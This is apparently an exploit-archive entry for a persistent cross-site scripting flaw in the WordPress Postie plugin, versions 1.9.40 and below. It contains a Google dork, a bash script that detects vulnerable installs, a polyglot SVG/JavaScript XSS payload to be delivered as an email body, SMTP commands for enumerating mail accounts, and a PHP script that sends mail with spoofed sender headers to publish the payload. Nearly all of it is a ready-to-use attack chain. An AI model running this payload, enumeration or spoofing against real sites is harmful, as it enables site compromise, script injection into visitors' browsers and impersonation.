WordPress Postie plugin versions 1.9.40 and below suffer from a persistent cross site scripting vulnerability.
8507d3053d9db85a54c917232bef71d1# Exploit Title: WordPress Plugin Postie 1.9.40 - Persistent Cross-Site Scripting
# Google Dork: inurl:/wp-content/plugins/postie/readme.txt
# Date: 2020-01-15
# Exploit Author: V1n1v131r4
# Vendor Homepage: https://postieplugin.com/
# Software Link: https://wordpress.org/plugins/postie/#developers
# Version: <=1.9.40
# Tested on: Linux
# CVE : CVE-2019-20203, CVE-2019-20204
## Identifying WordPress Postie Plugin installation
#!/bin/bash if curl -s -o /dev/null -w "%{http_code}" http://<domain.com>/wp-content/plugins/postie/readme.txt | grep 200 > /dev/null; then echo "" echo "Postie installed!" else echo "" echo "Postie seems not to be installed" fi
## Performing persistent XSS using Polyglot JavaScript syntax with crafted SVG (CVE-2019-20204)
# the syntax below should go as email body
jaVasCript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(You've been hacked)//'>
## Email to post on Postie
- Identifying the mail server
dig domain.com mx
- enumerating accounts via SMTP
telnet domain.com 587
EHLO buddy
mail from:<[email protected]>
rcpt to:<[email protected]>
vrfy [email protected]
- listing accounts via third party software
You can use these third party software and APIs to enumerate target email users:
- https://www.zerobounce.net
- https://tools.verifyemailaddress.io/
- https://hunter.io/email-verifier
## Spoofing with PHPMailer
<?php
/* CONFIGURE PHP IF NEEDED */
// ini_set("sendmail_from","$fromFull");
// ini_set("SMTP","mail.domain.com");
// ini_set('smtp_port',587);
// ini_set('username',"user");
// ini_set('password',"pass");
// COMPOSE
$to = '[email protected]';
$subject = 'Title of your post';
$message = 'You've been hacked :-)';
// BASIC HEADER
$headers = 'From: [email protected]' . "\r\n" .
'Reply-To: [email protected]' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
// SEND AND SHOW MESSAGE
if (mail($to, $subject, $message, $headers)) echo $headers.'<h1>Mail sent!</h1>';
else echo '<h1>Something went wrong...</h1>';
// FULL HEADER
// $headers = "From: testsite < [email protected] >\n";
// $headers .= "Cc: testsite < [email protected] >\n";
// $headers .= "X-Sender: testsite < [email protected] >\n";
// $headers .= 'X-Mailer: PHP/' . phpversion();
// $headers .= "X-Priority: 1\n";
// $headers .= "Return-Path: [email protected]\n";
// $headers .= "MIME-Version: 1.0\r\n";
// $headers .= "Content-Type: text/html; charset=iso-8859-1\n";
?>